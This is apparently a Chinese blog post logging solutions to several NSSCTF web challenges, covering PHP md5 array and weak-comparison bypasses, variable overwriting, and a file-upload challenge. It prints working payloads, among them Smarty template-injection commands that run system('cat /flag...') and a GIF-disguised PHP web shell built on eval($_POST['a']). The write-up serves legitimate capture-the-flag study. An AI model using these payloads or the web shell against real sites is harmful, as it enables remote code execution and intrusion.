NSSCTF暑假刷题记录(三)

发布于 2023-07-29  511 次阅读


[GDOUCTF 2023]受不了一点

<?php
error_reporting(0);
header("Content-type:text/html;charset=utf-8");
if(isset($_POST['gdou'])&&isset($_POST['ctf'])){
    $b=$_POST['ctf'];
    $a=$_POST['gdou'];
    if($_POST['gdou']!=$_POST['ctf'] && md5($a)===md5($b)){
        if(isset($_COOKIE['cookie'])){
           if ($_COOKIE['cookie']=='j0k3r'){
               if(isset($_GET['aaa']) && isset($_GET['bbb'])){
                  $aaa=$_GET['aaa'];
                  $bbb=$_GET['bbb'];
                 if($aaa==114514 && $bbb==114514 && $aaa!=$bbb){
                   $give = 'cancanwordflag';
                   $get ='hacker!';
                   if(isset($_GET['flag']) && isset($_POST['flag'])){
                         die($give);
                    }
                   if($_POST['flag'] === 'flag' || $_GET['flag'] === 'flag'){
                       die($get);
                    }
                    foreach ($_POST as $key => $value) {
                        $$key = $value;
                   }
                    foreach ($_GET as $key => $value) {
                         $$key = $$value;
                    }
                   echo $flag;
            }else{
                  echo "洗洗睡吧";
                 }
    }else{
        echo "行不行啊细狗";
        }
  }
}
else {
  echo '菜菜';
}
}else{
  echo "就这?";
}
}else{
  echo "别来沾边";
}
?> 
  • 过4个if就能拿到flag

  • 第一处if($_POST['gdou']!=$_POST['ctf'] && md5($a)===md5($b))直接数组绕过

gdou[]=1&ctf[]=2
  • 第二处if($_COOKIE['cookie']=='j0k3r')不能用hackbar传,因为hackbar好像默认传的格式有问题
cookie=j0k3r
  • 第三处if($aaa==114514 && $bbb==114514 && $aaa!=$bbb)直接弱类型比较
?aaa=114514&bbb=114514a
  • 最后是一个典型的变量覆盖,分析一下,get和post必须只传一个flag参数,并且参数值不能是flag,foreach可以把传参的键值对拆开,创建一个以键名为名的变量,值为键值对的值,传了flag为别的值,就会覆盖原本flag的值,但是这里有俩foreach,我们就可以先a=flag,让a变量值为flag,再flag=a,让flag变量值为a变量的值
a=flag&flag=a

[HDCTF 2023]SearchMaster

  • 题目提示YOU CAN POST ME A data,这里存在post传参

  • 随便传了个ls,并没有出目录,说明不是rce,但是注意到我们的输入被显示在了页面之中,这是ssti的特征

  • 同时,dirsearch扫出了一个composer.json,访问内容支持了我们的推测
{
    "name": "smarty/smarty",
    "type": "library",
    "description": "Smarty - the compiling PHP template engine",
    "keywords": [
        "templating"
    ],
    "homepage": "https://smarty-php.github.io/smarty/",
    "license": "LGPL-3.0",
    "authors": [
        {
            "name": "Monte Ohrt",
            "email": "monte@ohrt.com"
        },
        {
            "name": "Uwe Tews",
            "email": "uwe.tews@googlemail.com"
        },
        {
            "name": "Rodney Rehm",
            "email": "rodney.rehm@medialize.de"
        },
        {
            "name": "Simon Wisselink",
            "homepage": "https://www.iwink.nl/"
        }
    ],
    "support": {
        "issues": "https://github.com/smarty-php/smarty/issues",
        "forum": "https://github.com/smarty-php/smarty/discussions"
    },
    "require": {
        "php": "^7.1 || ^8.0"
    },
    "autoload": {
        "classmap": [
            "libs/"
        ]
    },
    "extra": {
        "branch-alias": {
            "dev-master": "4.0.x-dev"
        }
    },
    "require-dev": {
        "phpunit/phpunit": "^8.5 || ^7.5",
        "smarty/smarty-lexer": "^3.1"
    }
}

  • 这里是3.1的smarty模板,记录(一)那道smarty模板总结了smarty用于rce的几种利用方法,这里直接用if实现rce.
data={if system('ls /')}{/if}
data={if system('cat /flag_13_searchmaster')}{/if}

[HNCTF 2022 Week1]easy_html

  • 提示cookie里面有提示

  • 抓包发现隐藏文件f14g.php

  • 访问网页,提示输手机号,随便输了点没给通过,再抓包,抓到了上传的手机号cnt,右边的url编码解码出来是login=登录

  • 看了wp才之后网页的表单有个长度限制10位,是一个js文件搞的,登录不用其他验证,输11位手机号就行了,那么就有三种思路了:
  1. 可以把js暂时禁用掉
  2. 可以改一下js文件
  3. 把上传网页的源代码扒下来自己构建一个上传表单
  4. 这些都不如burp直接改post请求,因为构建上传表单其实也就是构造了一个post请求而已

[第五空间 2021]EasyCleanup

  • 学到了一个新知识,PHP_SESSION_UPLOAD_PROGRESS文件包含,单开一篇

[NISACTF 2022]middlerce

  • 学到了正则匹配回溯绕过,单开一篇

[SWPUCTF 2021 新生赛]hardrce_3

  • 学到了Open_basedir绕过,单开一篇

[SWPUCTF 2022 新生赛]where_am_i

  • 有点misc的感觉,让输一个11位的数,多半是手机号

  • 拿去百度识图一下,确定了照片的位置

  • 搜这个位置,得到了电话

  • 输入电话号码,成功拿到flag

[HNCTF 2022 WEEK2]easy_include

  • 这里学到了日志包含,单开一篇吧

[GDOUCTF 2023]

  • 一道严格的ssti过滤,单开一篇吧

[WUSTCTF 2020]CV Maker

  • 进来后有注册界面,既然是文件上传的题那就登进去看看

  • 进去之后果然有了文件上传的地方,但是随便上传一个木马提示
exif_imagetype not image!

  • exif_imagetype是php的一个函数,通过检查文件头来实现文件类型检查,那就使用文件头是gif的那个马,上传成功
GIF89a
<script language="php">eval($_POST['a']);</script>

  • 但是并不知道上传到哪里去了,蚁剑直接连接本目录同名文件也不行,在页面元素中搜索关键词upload即可找到图片链接

  • 蚁剑连上之后到根目录有flag文件,但是打开没有内容,这里并不是没有内容,而是因为没有读的权限

  • 注意到有个readflag文件,虽然依然没有读的权限,但是按套路这个文件是有可执行权限的,执行即可得到flag

届ける言葉を今は育ててる
最后更新于 2024-02-07